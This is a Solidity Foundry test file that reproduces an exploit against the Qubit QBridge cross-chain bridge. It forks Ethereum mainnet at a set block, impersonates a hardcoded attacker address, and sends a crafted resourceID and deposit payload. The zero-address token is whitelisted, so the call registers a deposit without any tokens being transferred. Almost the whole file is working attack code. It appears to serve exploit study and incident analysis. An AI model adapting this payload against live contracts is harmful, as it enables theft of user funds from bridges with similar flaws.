Qubit_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IQBridge {
    function deposit(uint8 destinationDomainID, bytes32 resourceID, bytes calldata data) external payable;
}

interface IQBridgeHandler {
    // mapping(address => bool) public contractWhitelist;
    function resourceIDToTokenContractAddress(
        bytes32
    ) external returns (address);
    function contractWhitelist(
        address
    ) external returns (bool);
    function deposit(bytes32 resourceID, address depositer, bytes calldata data) external;
}

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address attacker = 0xD01Ae1A708614948B2B5e0B7AB5be6AFA01325c7;
    address QBridge = 0x20E5E35ba29dC3B540a1aee781D0814D5c77Bce6;
    address QBridgeHandler = 0x17B7163cf1Dbd286E262ddc68b553D899B93f526;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_090_169); //fork mainnet at block 14090169
    }

    function testExploit() public {
        cheat.startPrank(attacker);
        // emit log_named_uint(
        //   "Before exploiting, attacker OP Balance:",
        //   op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)
        // );
        bytes32 resourceID = hex"00000000000000000000002f422fe9ea622049d6f73f81a906b9b8cff03b7f01";
        bytes memory data =
            hex"000000000000000000000000000000000000000000000000000000000000006900000000000000000000000000000000000000000000000a4cc799563c380000000000000000000000000000d01ae1a708614948b2b5e0b7ab5be6afa01325c7";
        uint256 option;
        uint256 amount;
        (option, amount) = abi.decode(data, (uint256, uint256));
        emit log_named_uint("option", option);
        emit log_named_uint("amount", amount);
        // which calls in turn:
        // IQBridgeHandler(QBridgeHandler).deposit(resourceID, attacker, data);
        emit log_named_address(
            "contractAddress", IQBridgeHandler(QBridgeHandler).resourceIDToTokenContractAddress(resourceID)
        );
        emit log_named_uint(
            "is 0 address whitelisted", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0
        );

        IQBridge(QBridge).deposit(1, resourceID, data);

        // cheats.createSelectFork("bsc", 14742311); //fork mainnet at block 14742311
    }

    receive() external payable {}
}